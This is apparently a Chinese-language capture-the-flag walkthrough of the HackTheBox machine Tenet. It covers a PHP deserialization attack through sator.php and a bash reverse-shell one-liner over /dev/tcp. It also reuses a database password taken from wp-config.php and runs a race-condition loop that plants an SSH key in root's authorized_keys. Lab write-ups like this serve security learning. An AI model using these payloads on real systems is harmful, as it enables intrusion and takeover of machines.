信息收集
80端口
apache 2.4.49存在的exploit。
目录扫描
/users.txt目录
/wordpress/wp-login.php
在Go to Tenet超链接会出现tenet.htb。
添加至hosts再次访问,会看到三篇文章。
tenet.htb
从三个文章中收获了疑似的用户名protagonist
、neil
。
其中neil在询问是否删除了sator php file 以及backup,所以现在开始寻找它,但是他们并没说清楚是IP上的文件还是vhost虚拟主机上的。写个脚本或者burp suite跑一下。
http://10.10.10.223/sator.php
http://10.10.10.223/sator.php.bak
立足
class DatabaseExport
{
public $user_file = 'users.txt';
public $data = '';
public function update_db()
{
echo '[+] Grabbing users from text file <br>';
$this-> data = 'Success'; #给data赋值
}
public function __destruct()
{
file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
#__DIR__获取当前目录绝对路径,拼接上'/'和文件名users.txt,再把data变量的值赋给前面拼接好的文件。__destruct会在反序列化结束后调用
#综上所述我们只需要改变data、user_file变量的值。
echo '[] Database updated <br>';
// echo 'Gotta get this working properly...';
}
}
$input = $_GET['arepo'] ?? '';
$databaseupdate = unserialize($input);
$app = new DatabaseExport;
$app -> update_db();
?>
很明显需要一个反序列化利用。
在burp suite里对bash -c "bash -i >& /dev/tcp/ip/port 0>&1"
进行url编码。
www-data -> neil
在/var/www/html/wordpress
目录有一个wp的配置文件wp-config.php
,其中有MySQL的配置,使用neil:Opera2112
登录。
neil -> root
查看我们拥有的权限。
#!/bin/bash
checkAdded() {
#对key进行处理获取,以空格为划分取第三段也就是root@ubuntu,将其赋值给sshName。
sshName=$(/bin/echo $key | /usr/bin/cut -d " " -f 3)
#检查/root/.ssh/authorized_keys文件内是否含有root@ubuntu。 -z是检查字符串长度是否为0,为0返回0否则返回1。
if [[ ! -z $(/bin/grep $sshName /root/.ssh/authorized_keys) ]]; then
#如果含有root@ubuntu则打印root@ubuntu添加成功
/bin/echo "Successfully added $sshName to authorized_keys file!"
else
#如果没有含有就打印添加出错。
/bin/echo "Error in adding $sshName to authorized_keys file!"
fi
}
checkFile() {
#检查$1变量所指的文件为空或$1变量文件不是普通文档就执行下面语句(-s检查文件内容是否为空,-f检查文件是否为普通文档,不是目录也不是设备文件是普通文档)。
if [[ ! -s $1 ]] || [[ ! -f $1 ]]; then
/bin/echo "Error in creating key file!"
#如果$1变量所指的文档是普通文档则执行下面语句,只要让$1所指的文件为空并且是普通文件就可以到第二个if来。
if [[ -f $1 ]]; then /bin/rm $1; fi
exit 1
fi
}
addKey() {
#在/tmp/生成一个名叫ssh-8个随机字符组成的文件名的临时文件,每一个X代表一个随机字符。
#-u我在手册上查到的是只打印生成的临时文件名称,而不创建它。将生成的随即名赋予tmpName。
tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)
#设置当前权限掩码是110,最大权限是666(文件最大权限是666,
#目录最大权限是777,因为安全问题文件最大权限是666)-110=556(w-xw-xwr-)的名为变量$tmpName所指的文件。
(umask 110; touch $tmpName)
#把key变量值附加到$tmpName所指的文件内。
/bin/echo $key >>$tmpName
#把文件名传给checkFile函数
checkFile $tmpName
#将$tmpName所指向的文件内容附加到/root/.ssh/authorized_keys
/bin/cat $tmpName >>/root/.ssh/authorized_keys
#删除创建的文件
/bin/rm $tmpName
}
key="ssh-rsa AAAAA3NzaG1yc2GAAAAGAQAAAAAAAQG+AMU8OGdqbaPP/Ls7bXOa9jNlNzNOgXiQh6ih2WOhVgGjqr2449ZtsGvSruYibxN+MQLG59VkuLNU4NNiadGry0wT7zpALGg2Gl3A0bQnN13YkL3AA8TlU/ypAuocPVZWOVmNjGlftZG9AP656hL+c9RfqvNLVcvvQvhNNbAvzaGR2XOVOVfxt+AmVLGTlSqgRXi6/NyqdzG5Nkn9L/GZGa9hcwM8+4nT43N6N31lNhx4NeGabNx33b25lqermjA+RGWMvGN8siaGskvgaSbuzaMGV9N8umLp6lNo5fqSpiGN8MQSNsXa3xXG+kplLn2W+pbzbgwTNN/w0p+Urjbl root@ubuntu"
addKey
checkAdded
我们没有能直接输入的入口。生成的文件我们可以输入,所以想法就是写入自己的公钥进去。
现在本地生成ssh公钥。
将我的公钥放在pub文件里,当然也可以直接丢在代码中。
while true;do for f in /tmp/ssh-*;do cat pub > $f;done;done
条件竞争可能会失败多次,多加尝试即可。